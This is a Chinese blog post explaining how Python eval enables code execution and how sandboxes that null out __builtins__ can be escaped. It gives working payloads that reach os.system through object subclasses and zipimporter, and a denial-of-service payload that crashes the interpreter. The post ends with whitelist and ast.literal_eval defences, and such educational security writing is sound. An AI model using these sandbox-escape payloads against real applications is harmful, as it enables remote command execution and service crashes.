eval前言
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in [1]: eval("2+3")out[1]: 5in [2]: eval('[x for x in range(9)]')out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8] |
当内存中的内置模块含有os的话，eval同样可以做到命令执行：
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in [3]: import osin [4]: eval("os.system('whoami')")hy-201707271917\administratorout[4]: 0 |
当然，eval只能执行python的表达式类型的代码，不能直接用它进行import操作，但exec可以。如果非要使用eval进行import，则使用__import__：
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in [8]: eval("__import__('os').system('whoami')")hy-201707271917\administratorout[8]: 0 |
在实际的代码中，往往有使用客户端数据带入eval中执行的需求。比如动态模块的引入，举个栗子，一个在线爬虫平台上爬虫可能有多个并且位于不同的模块中，服务器端但往往只需要调用用户在客户端选择的爬虫类型，并通过后端的exec或者eval进行动态调用，后端编码实现非常方便。但如果对用户的请求处理不恰当，就会造成严重的安全漏洞。
”安全”使用eval
现在提倡最多的就是使用eval的后两个参数来设置函数的白名单：
eval函数的声明为eval(expression[, globals[, locals]])
其中，第二三个参数分别指定能够在eval中使用的函数等，如果不指定，默认为globals()和locals()函数中 包含的模块和函数。
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>>> import os>>> 'os' in globals()true>>> eval('os.system('whoami')')win-20140812chjadministrator0>>> eval('os.system('whoami')',{},{})traceback (most recent call last): file "", line 1, in file "", line 1, innameerror: name 'os' is not defined |
如果指定只允许调用abs函数，可以使用下面的写法：
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>>> eval('abs(-20)',{'abs':abs},{'abs':abs})20>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})traceback (most recent call last): file "", line 1, in file "", line 1, innameerror: name 'os' is not defined>>> eval('os.system('whoami')')win-20140812chjadministrator0 |
使用这种方法来防护，确实可以起到一定的作用，但是，这种处理方法可能会被绕过，从而造成其他问题！
绕过执行代码1
被绕过的情景如下，小明知道了eval会带来一定的安全风险，所以使用如下的手段去防止eval执行任意代码：
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env = {}env["locals"] = noneenv["globals"] = noneenv["__name__"] = noneenv["__file__"] = noneenv["__builtins__"] = none eval(users_str, env) |
python中的__builtins__是内置模块，用来设置内置函数的模块。比如熟悉的abs，open等内置函数，都是在该模块中以字典的方式存储的，下面两种写法是等价的：
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>>> __builtins__.abs(-20)20>>> abs(-20)20 |
我们也可以自定义内置函数，并像使用python中的内置函数一样使用它们：
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>>> def hello():... print 'shabi'>>> __builtin__.__dict__['say_hello'] = hello>>> say_hello()shabi |
小明将eval函数的作用域中的内置模块设置为none，好像看起来很彻底了，但依然可以被绕过。__builtins__是__builtin__的一个引用，在__main__模块下，两者是等价的：
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>>> id(__builtins__)3549136>>> id(__builtin__)3549136 |
根据乌云drops提到的方法，使用如下代码即可：
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")
上面的代码首先利用__class__和__subclasses__动态加载了object对象，这是因为eval中无法直接使用object。然后使用object的子类的zipimporter对egg压缩文件中的configobj模块进行导入，并调用其内置模块中的os模块从而实现命令执行，当然，前提是要有configobj的egg文件。 configobj模块很有意思，居然内置了os模块：
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>>> "os" in configobj.__dict__true>>> import urllib>>> "os" in urllib.__dict__true>>> import urllib2>>> "os" in urllib2.__dict__true>>> configobj.os.system("whoami")win-20140812chjadministrator0 |
和configobj类似的模块如urllib，urllib2，setuptools等都有os的内置，理论上使用哪个都行。 如果无法下载egg压缩文件，可以下载带有setup.py的文件夹，加入：
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from setuptools import setup, find_packages |
然后执行:
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python setup.py bdist_egg |
就可以在dist文件夹中找到对应的egg文件。 绕过demo如下：
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>>> env = {}>>> env["locals"] = none>>> env["globals"] = none>>> env["__name__"] = none>>> env["__file__"] = none>>> env["__builtins__"] = none>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('e:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')">>> eval(users_str, env)win-20140812chjadministrator0>>> eval(users_str, {}, {})win-20140812chjadministrator0 |
拒绝服务攻击1
object的子类中有很多有趣的东西，执行以下代码查看：
[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]
这里我就不输出结果了，如果你执行的话，可以看到很多有趣的模块，比如file，zipimporter，quitter等。经过测试，file的构造函数是被解释器沙箱隔离的。 简单的，或者直接使object暴露出的子类quitter进行退出：
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>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'quitter'][0](0)()", {'__builtins__':none}) |
c:/>
如果运气好，遇到对方程序中导入了os等敏感模块，那么popen就可以用，并且绕过__builins__为空的限制，例子如下：
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>>> import subprocess>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':none}) >>>正在 ping 127.0.0.1 具有 32 字节的数据:<br>来自 127.0.0.1 的回复: 字节=32 时间>> |
事实上，这种情况非常多，比如导入os模块，一般用来处理路径问题。所以说，遇到这种情况，完全可以列举大量的功能函数，来探测目标object的子类中是否含有一些危险的函数可以直接使用。
拒绝服务攻击2
同样，我们甚至可以绕过__builtins__为none，造成一次拒绝服务攻击，payload(来自老外blog)如下：
>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"kaboom",(),(),(),"","",0,""),{})())()', {"__builtins__":none})
运行上面的代码，python直接crash掉了，造成拒绝服务攻击。 原理是通过嵌套的lambda来构造一片代码段，即code对象。为这个code对象分配空的栈，并给出相应的代码字符串，这里是kaboom，在空栈上执行代码，会出现crash。构造完成后，调用fc函数即可触发，其思路不可谓不淫荡。
总结
从上面的内容我们可以看出，单单将内置模块置为空，是不够的，最好的机制是构造白名单，如果觉得比较麻烦，可以使用ast.literal_eval代替不安全的eval。
以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持服务器之家。
原文链接：https://segmentfault.com/a/1190000011532358
